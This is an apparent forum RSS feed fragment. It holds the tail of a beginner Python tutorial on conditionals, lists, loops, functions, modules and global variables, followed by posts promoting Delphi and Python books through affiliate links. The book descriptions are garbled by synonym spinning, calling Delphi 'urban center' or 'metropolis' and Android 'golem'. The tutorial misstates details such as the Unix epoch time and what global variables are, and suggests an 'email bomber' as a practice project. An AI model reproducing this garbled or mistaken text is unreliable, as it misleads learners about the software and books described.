else:<br />
    print("A is not equal to b or c")<br />
    isittrue = False<br />
<br />
if a == b or a == c:<br />
    isittrue = True<br />
else:<br />
    print("A is not equal to b or c")<br />
    isittrue = False<br />
<br />
if a == b and isittrue == True:<br />
    c = c - b<br />
    print(c)</code></div></div><br />
<br />
The first If statement checks if a is equal to c or if a is equal to b. Since a is equal to b, the variable isittrue will be set to True.<br />
While this is a correct code, programmers are lazy people and always strive to make their code as short as possible. <br />
<br />
That's why the second If statement checks exactly the same as the first if statement, but uses the or operator instead.<br />
This way the or operator saves 2 lines of code, which in this case shouldn't matter alot, but if you are coding a big program, efficient coding will save you alot of time.<br />
<br />
The third If statement checks if  a is equal to b and if the variable isittrue is set on True. <br />
If this is both the case (which it is), c will be set to be c - b. <br />
Basicly what happens is the variable c is now 20 - 10.<br />
After that the print statement will show 10 as the new value of the variable c.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Lists</span></span><br />
<br />
Lists are a very important part of python.<br />
A list is a variable that holds multiple values. A list in Python is similar to an array in Java. <br />
You can declare a list the same as any other variable, except that it needs to be enclosed with brackets ("[]") and seperated with commas(",").<br />
<br />
It's very important to remember that lists work with positions.<br />
The first position is always 0, NOT 1<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>list = ["One", "Two", "Three"]<br />
print (list)<br />
print(list[0])<br />
print(list[1])<br />
print(list[2])</code></div></div><br />
When you run this code, you will get this output:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>["One", "Two", "Three"]<br />
One<br />
Two<br />
Three</code></div></div><br />
You might wonder what just happened, well:<br />
Print (list) tells python to print everything that is in the list, which is why the commas and brackets get printed aswell.<br />
Print (list[0] tells python to print the first variable in the variables list.<br />
Print (list[1] tells python to print the second variable in the variables list.<br />
Print (list[2] tells python to print the third variable in the variables list.<br />
<br />
You might wonder why or how this could be usefull. I will get back to that later in this guide.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Loops</span></span><br />
<br />
In Python there are several kinds of loops.<br />
Right now we will discuss the two most important ones.<br />
<br />
<br />
<span style="color: #FF0000;" class="mycode_color">While loop</span><br />
<br />
This is one of the easiest and most basic loops of python. What a while loop does, is perfor a series of events as long as something is in a certain condition. <br />
With the while loop you also need to add the colon sign after the line (':')<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 5<br />
<br />
while a &gt; 0:<br />
    print (a)<br />
    a = a - 1<br />
print("We are out of the loop!")</code></div></div>As you can see first we declare a variable, and then the while loop checks if the variable is bigger then 0.<br />
This while loop will keep running the events within it until a is equal to 0.<br />
So your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>5<br />
4<br />
3<br />
2<br />
1<br />
We are out of the loop!</code></div></div><br />
You can use all comparison operators in a while loop to get the result you want.<br />
<br />
<br />
<span style="color: #FF0000;" class="mycode_color">For loop</span><br />
<br />
The for loop is slightly more complex then the while loop, but it's still perfectly understandable.<br />
The for loop executes a sequence of statements multiple times.<br />
With the while loop you also need to add the colon sign after the line (':')<br />
<br />
Let me explain this loop with an example.<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>for x in range(5):<br />
    print (x)</code></div></div> <br />
<br />
If you run this code your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>0<br />
1<br />
2<br />
3<br />
4</code></div></div><br />
The for loop goes through every item in a list before it can exit the loop.<br />
In this example "x" is a variable. It does not have a set value, because it's used to run the for loop. <br />
<br />
In simple terms: for x in a list with a range of 5, print x<br />
<br />
Now you might be wondering, why does it stop at 4, when we said range 5?<br />
You have to remember, that a for loop works with lists, and as mentioned before, the first position of a list is 0.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Functions</span></span><br />
<br />
Functions are very important when you are coding a program or script.<br />
A function is in simple terms a specific piece of code.<br />
A function is very efficient when you need to run a function multiple times, for example in a loop.<br />
<br />
Here a simple example of a define:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>def definitionname():<br />
    print("This is my define.")<br />
definitionname()</code></div></div><br />
The "def" is how you start the definition. After that you put in a unique name for your definition. This can be anything you like.<br />
With the define you also need to add the colon sign after the line (':')<br />
<br />
If you want to run the code within the define, you can call it by typing the name of the function with parameters ("()")<br />
The output for the code above would be: This is my define.<br />
<br />
<br />
As mentioned before a function is especially efficient when you want to run the code in the function multiple times.<br />
<br />
For example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>def multipletimes():<br />
    print ("My very first define.")<br />
<br />
for x in range(5):<br />
    multipletimes()</code></div></div><br />
When you run this code your output will be:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>My very first define.<br />
My very first define.<br />
My very first define.<br />
My very first define.<br />
My very first define.</code></div></div><br />
This is a very simple example, but you can already see how efficient it is.<br />
This way the print statement is executed 5 times, with only 4 lines of code. <br />
When you are coding a complex program or script defines will make your job a lot easier!<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Modules</span></span><br />
<br />
Modules are python programs that you can use. <br />
These mudules are scripts written by another person in order for you to be able to make a fairly complex script/program, without extensive knowledge about the functions you are using. <br />
<br />
To be able to use a module, you first have to import it. You can simply do this by typing 'import' and the Python module name.<br />
<br />
For example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import time</code></div></div><br />
<br />
Time is a basic Python module that is included in the standard python package you downloaded at the start of this thread.<br />
You are now able to use this module.<br />
<br />
A simple example of how you can use the time module:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import time<br />
seconds = time.time()<br />
<br />
print("number of seconds since 10:00am, Januari 1 1970:", seconds)</code></div></div><br />
When you run this code the output will be something like: <br />
number of ticks since 10:00am, Januari 1 1970: 1457813005.3186388<br />
<br />
You are probably thinking: How can i know every single module name and every statement within a module?<br />
The answer to that is simple. Google what you need! For example, if you want to make a running clock, you can google: Python clock.<br />
<br />
In the results you will most likely find a site such as stackoverflow. On this site it will probably tell you that in order for you to make a clock in python, you need to import the time module. <br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Global Variables</span></span><br />
<br />
At last i want to explain what global variables are and what you can use them for. <br />
First of all, try to avoid global variables as much as possible! With big scripts it would get really messy really quik.<br />
<br />
That being said, a global variable is a normal variable, not unlike the normal variables we discussed earlier in this thread.<br />
The difference between normal variables and global variables is that global variables are being used within loops and statements.<br />
<br />
For example:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>x = 10<br />
<br />
def normalx():<br />
    x = 5<br />
normalx()<br />
<br />
print (x)<br />
<br />
def globalx():<br />
    global x<br />
    x = 20<br />
globalx()<br />
<br />
print (x)</code></div></div><br />
In this example we declare the variable x as 10. <br />
Then we run the function normalx, and after the function has been ran we print x.<br />
Then we run the function globalx, and after the function has been ran we print x again.<br />
<br />
When you run this code your output will be:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>10<br />
20</code></div></div><br />
The reason for this is that in the first define, x is not called as the global x. <br />
In the second define we do call x as global x, which is why the global x variable has been changed from 10 to 20.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Final words &amp; Credits</span></span><br />
<br />
Congratulations! You have finished this python tutorial!<br />
Right now you know the basics of Python.<br />
<br />
Right now you are thinking: Hmm alright it was fun and all, but what do i do now with my knowledge?<br />
Simple! Practice with Python. You can code a variety of programs and scripts, from a logger to an email bomber to battlefield 2.<br />
<br />
Ofcourse coding in python still requires some effort, but if you ever run into trouble, feel free to shoot me a PM.<br />
<br />
I will always be available to answer all questions regarding Python.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[hELP Photoshop]]></title>
			<link>https://www.bpcforums.biz/Thread-help-photoshop--14108</link>
			<pubDate>Sun, 27 Dec 2015 21:03:47 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=11135">Unicornio</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-help-photoshop--14108</guid>
			<description><![CDATA[<span style="color: #212121;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-family: arial, sans-serif;" class="mycode_font">Someone who knows how to use photoshop ? and as download</span></span></span>]]></description>
			<content:encoded><![CDATA[<span style="color: #212121;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-family: arial, sans-serif;" class="mycode_font">Someone who knows how to use photoshop ? and as download</span></span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Delphi XE2]]></title>
			<link>https://www.bpcforums.biz/Thread-delphi-xe2</link>
			<pubDate>Wed, 26 Nov 2014 23:59:22 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-delphi-xe2</guid>
			<description><![CDATA[[img] <a href="https://images-na.ssl-images-amazon.com/images/I/41RNN4xFoLL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a>[/img]<br />
<br />
Provides a comprehensive guide to the language and core non-visual libraries of Embarcadero Delphi XE2, from basic language syntax to multithreading. Adopting associate degree integrated approach, the book covers each newer and older options aboard one another; whereas it will not teach you ways to program, it assumes very little Delphi information specifically. Includes coverage of XE2's support for mackintosh OS X. (Edition note: the written version combines the 3 elements of the eBook version, that is out there individually.)<br />
<br />
<a href="http://%20http://www.amazon.com/gp/product/1477550895?ie=UTF8&amp;camp=1789&amp;creativeASIN=1477550895&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http:// http://www.amazon.com/gp/product...bdlinkz-20</a>]]></description>
			<content:encoded><![CDATA[[img] <a href="https://images-na.ssl-images-amazon.com/images/I/41RNN4xFoLL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a>[/img]<br />
<br />
Provides a comprehensive guide to the language and core non-visual libraries of Embarcadero Delphi XE2, from basic language syntax to multithreading. Adopting associate degree integrated approach, the book covers each newer and older options aboard one another; whereas it will not teach you ways to program, it assumes very little Delphi information specifically. Includes coverage of XE2's support for mackintosh OS X. (Edition note: the written version combines the 3 elements of the eBook version, that is out there individually.)<br />
<br />
<a href="http://%20http://www.amazon.com/gp/product/1477550895?ie=UTF8&amp;camp=1789&amp;creativeASIN=1477550895&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http:// http://www.amazon.com/gp/product...bdlinkz-20</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Introduction Delphy Programming]]></title>
			<link>https://www.bpcforums.biz/Thread-introduction-delphy-programming</link>
			<pubDate>Wed, 26 Nov 2014 23:57:04 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-introduction-delphy-programming</guid>
			<description><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/41Q7VNB229L._SL250_.jpg" alt="[Image: 41Q7VNB229L._SL250_.jpg]" class="mycode_img" /><br />
<br />
This book teaches distance-learning students a way to program in city, a serious computer-oriented language accustomed style a spread of programs.<br />
<br />
<a href="http://%20http://www.amazon.com/gp/product/0195789113?ie=UTF8&amp;camp=1789&amp;creativeASIN=0195789113&amp;linkCode=xm2&amp;tag=bdlinkz-20%20" target="_blank" rel="noopener" class="mycode_url">http:// http://www.amazon.com/gp/product...dlinkz-20 </a>]]></description>
			<content:encoded><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/41Q7VNB229L._SL250_.jpg" alt="[Image: 41Q7VNB229L._SL250_.jpg]" class="mycode_img" /><br />
<br />
This book teaches distance-learning students a way to program in city, a serious computer-oriented language accustomed style a spread of programs.<br />
<br />
<a href="http://%20http://www.amazon.com/gp/product/0195789113?ie=UTF8&amp;camp=1789&amp;creativeASIN=0195789113&amp;linkCode=xm2&amp;tag=bdlinkz-20%20" target="_blank" rel="noopener" class="mycode_url">http:// http://www.amazon.com/gp/product...dlinkz-20 </a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Delphi Cookbook]]></title>
			<link>https://www.bpcforums.biz/Thread-delphi-cookbook</link>
			<pubDate>Wed, 26 Nov 2014 23:54:52 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-delphi-cookbook</guid>
			<description><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/51GzcWKTbzL._SL250_.jpg" alt="[Image: 51GzcWKTbzL._SL250_.jpg]" class="mycode_img" /><br />
About This Book<br />
Increase your urban center productivity with this accessible and swift guide<br />
Explore important and powerful options whereas developing mobile applications mistreatment urban center<br />
Full of recipes and solutions known from the everyday challenges long-faced by the author in his a few years as a authority<br />
Who This Book Is For<br />
Intended to refresh the fundamentals of urban center furthermore as advance your data to ensuing level, it's assumed you may understand RAD studio and therefore the Object Pascal language. However, if you're not associate degree knowledgeable about RAD studio software engineer this accessible guide can still develop those initial crucial skills.<br />
<br />
In Detail<br />
With this book, you may gain valuable and sensible data of the newest functionalities of urban center. beginning with the foundations, you may work on your VCL application, customise the TDBGrid, and set up your runtime category mistreatment RTTI. Going forward, you may hinge on this foundation and deploy FireMonkey to travel cross-platform or maybe decision FireMonkey from a VCL project, and you may totally perceive however you'll be able to embrace urban center on your server. Finally, you may use App Tethering, decision golem and iOS SDK categories, and even use the golem TextToSpeech engine to feature sounds to your phone! With this learning resource at your facet, you may acquire all that a RAD Studio developer must comprehend urban center in one complete, informative guide.<br />
<a href="https://affiliate-program.amazon.com/gp/associates/network/build-links/individual/get-html.html?ie=UTF8&amp;asin=1783559586&amp;marketplace=amazon" target="_blank" rel="noopener" class="mycode_url">https://affiliate-program.amazon.com/gp/...ace=amazon</a>]]></description>
			<content:encoded><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/51GzcWKTbzL._SL250_.jpg" alt="[Image: 51GzcWKTbzL._SL250_.jpg]" class="mycode_img" /><br />
About This Book<br />
Increase your urban center productivity with this accessible and swift guide<br />
Explore important and powerful options whereas developing mobile applications mistreatment urban center<br />
Full of recipes and solutions known from the everyday challenges long-faced by the author in his a few years as a authority<br />
Who This Book Is For<br />
Intended to refresh the fundamentals of urban center furthermore as advance your data to ensuing level, it's assumed you may understand RAD studio and therefore the Object Pascal language. However, if you're not associate degree knowledgeable about RAD studio software engineer this accessible guide can still develop those initial crucial skills.<br />
<br />
In Detail<br />
With this book, you may gain valuable and sensible data of the newest functionalities of urban center. beginning with the foundations, you may work on your VCL application, customise the TDBGrid, and set up your runtime category mistreatment RTTI. Going forward, you may hinge on this foundation and deploy FireMonkey to travel cross-platform or maybe decision FireMonkey from a VCL project, and you may totally perceive however you'll be able to embrace urban center on your server. Finally, you may use App Tethering, decision golem and iOS SDK categories, and even use the golem TextToSpeech engine to feature sounds to your phone! With this learning resource at your facet, you may acquire all that a RAD Studio developer must comprehend urban center in one complete, informative guide.<br />
<a href="https://affiliate-program.amazon.com/gp/associates/network/build-links/individual/get-html.html?ie=UTF8&amp;asin=1783559586&amp;marketplace=amazon" target="_blank" rel="noopener" class="mycode_url">https://affiliate-program.amazon.com/gp/...ace=amazon</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Delphi Programming]]></title>
			<link>https://www.bpcforums.biz/Thread-delphi-programming</link>
			<pubDate>Wed, 26 Nov 2014 23:52:19 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-delphi-programming</guid>
			<description><![CDATA[[img] <a href="https://images-na.ssl-images-amazon.com/images/I/51Gd4FWiD%2BL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a>[/img]<br />
<br />
If you've got a matter concerning metropolis this is often the book with the answers. metropolis Programming: queries and Answers takes a number of the simplest queries and answers asked on the stackoverflow web site. <br />
You can use this book to search normally asked queries, browse queries on a selected topic, compare answers to common topics, consider the first supply and far a lot of. This eBook has been designed to be terribly straightforward to use, with several internal links came upon that creates browsing in many alternative ways in which doable. <br />
<br />
Topics coated include: Multi-threading, Delphi XE2, Delphi XE, Delphi 7, FireMonkey, generics, debugging, performance, unit-testing, records and plenty of a lot of.<br />
<a href="http://www.amazon.com/gp/product/B00MPSVZTU?ie=UTF8&amp;camp=1789&amp;creativeASIN=B00MPSVZTU&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/B00MPSV...bdlinkz-20</a>]]></description>
			<content:encoded><![CDATA[[img] <a href="https://images-na.ssl-images-amazon.com/images/I/51Gd4FWiD%2BL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a>[/img]<br />
<br />
If you've got a matter concerning metropolis this is often the book with the answers. metropolis Programming: queries and Answers takes a number of the simplest queries and answers asked on the stackoverflow web site. <br />
You can use this book to search normally asked queries, browse queries on a selected topic, compare answers to common topics, consider the first supply and far a lot of. This eBook has been designed to be terribly straightforward to use, with several internal links came upon that creates browsing in many alternative ways in which doable. <br />
<br />
Topics coated include: Multi-threading, Delphi XE2, Delphi XE, Delphi 7, FireMonkey, generics, debugging, performance, unit-testing, records and plenty of a lot of.<br />
<a href="http://www.amazon.com/gp/product/B00MPSVZTU?ie=UTF8&amp;camp=1789&amp;creativeASIN=B00MPSVZTU&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/B00MPSV...bdlinkz-20</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Coding in Delphi]]></title>
			<link>https://www.bpcforums.biz/Thread-coding-in-delphi</link>
			<pubDate>Wed, 26 Nov 2014 23:50:02 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-coding-in-delphi</guid>
			<description><![CDATA[<a href="http://www.amazon.com/gp/product/1941266037?ie=UTF8&amp;camp=1789&amp;creativeASIN=1941266037&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/1941266...bdlinkz-20</a><br />
<br />
[img] <a href="https://images-na.ssl-images-amazon.com/images/I/41IqG7VUgmL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a> [/img]<br />
<br />
<br />
Coding in Delphi may be a new programming book by Nick Hodges that covers a spread of powerful Delphi programming options and techniques as well as Generics, Interfaces, Exception, Handling, Anonymous strategies, Collections, RTTI, Enumerators, Attributes, Dependency Injection and Unit Testing]]></description>
			<content:encoded><![CDATA[<a href="http://www.amazon.com/gp/product/1941266037?ie=UTF8&amp;camp=1789&amp;creativeASIN=1941266037&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/1941266...bdlinkz-20</a><br />
<br />
[img] <a href="https://images-na.ssl-images-amazon.com/images/I/41IqG7VUgmL._SL250_.jpg" target="_blank" rel="noopener" class="mycode_url">https://images-na.ssl-images-amazon.com/...SL250_.jpg</a> [/img]<br />
<br />
<br />
Coding in Delphi may be a new programming book by Nick Hodges that covers a spread of powerful Delphi programming options and techniques as well as Generics, Interfaces, Exception, Handling, Anonymous strategies, Collections, RTTI, Enumerators, Attributes, Dependency Injection and Unit Testing]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Python Pocket reference]]></title>
			<link>https://www.bpcforums.biz/Thread-python-pocket-reference</link>
			<pubDate>Wed, 26 Nov 2014 23:47:08 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=349">[Ace]</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-python-pocket-reference</guid>
			<description><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/517k0XB9ogL._SL250_.jpg" alt="[Image: 517k0XB9ogL._SL250_.jpg]" class="mycode_img" /><br />
<br />
Updated for each Python three.4 and 2.7, this convenient pocket guide is that the good on-the-job fast reference. You’ll notice taciturn, need-to-know info on Python sorts and statements, special methodology names, inbuilt functions and exceptions, ordinarily used commonplace library modules, and different outstanding Python tools. The handy index allows you to pinpoint precisely what you would like.<br />
<br />
Written by Mark Lutz—widely recognized because the world’s leading Python trainer—Python Pocket Reference is a perfect companion to O’Reilly’s classic Python tutorials, Learning Python and Programming Python, additionally written by Mark.<br />
<br />
This fifth edition covers:<br />
<br />
Built-in object sorts, as well as numbers, lists, dictionaries, and more<br />
Statements and syntax for making and process objects<br />
Functions and modules for structuring and reusing code<br />
Python’s object-oriented programming tools<br />
Built-in functions, exceptions, and attributes<br />
Special operator overloading ways<br />
Widely used commonplace library modules and extensions<br />
Command-line choices and development tools<br />
Python idioms and hints<br />
The Python SQL information API<br />
<a href="http://www.amazon.com/gp/product/1449357016?ie=UTF8&amp;camp=1789&amp;creativeASIN=1449357016&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/1449357...bdlinkz-20</a>]]></description>
			<content:encoded><![CDATA[<img src="https://images-na.ssl-images-amazon.com/images/I/517k0XB9ogL._SL250_.jpg" alt="[Image: 517k0XB9ogL._SL250_.jpg]" class="mycode_img" /><br />
<br />
Updated for each Python three.4 and 2.7, this convenient pocket guide is that the good on-the-job fast reference. You’ll notice taciturn, need-to-know info on Python sorts and statements, special methodology names, inbuilt functions and exceptions, ordinarily used commonplace library modules, and different outstanding Python tools. The handy index allows you to pinpoint precisely what you would like.<br />
<br />
Written by Mark Lutz—widely recognized because the world’s leading Python trainer—Python Pocket Reference is a perfect companion to O’Reilly’s classic Python tutorials, Learning Python and Programming Python, additionally written by Mark.<br />
<br />
This fifth edition covers:<br />
<br />
Built-in object sorts, as well as numbers, lists, dictionaries, and more<br />
Statements and syntax for making and process objects<br />
Functions and modules for structuring and reusing code<br />
Python’s object-oriented programming tools<br />
Built-in functions, exceptions, and attributes<br />
Special operator overloading ways<br />
Widely used commonplace library modules and extensions<br />
Command-line choices and development tools<br />
Python idioms and hints<br />
The Python SQL information API<br />
<a href="http://www.amazon.com/gp/product/1449357016?ie=UTF8&amp;camp=1789&amp;creativeASIN=1449357016&amp;linkCode=xm2&amp;tag=bdlinkz-20" target="_blank" rel="noopener" class="mycode_url">http://www.amazon.com/gp/product/1449357...bdlinkz-20</a>]]></content:encoded>
		</item>
	</channel>
</rss>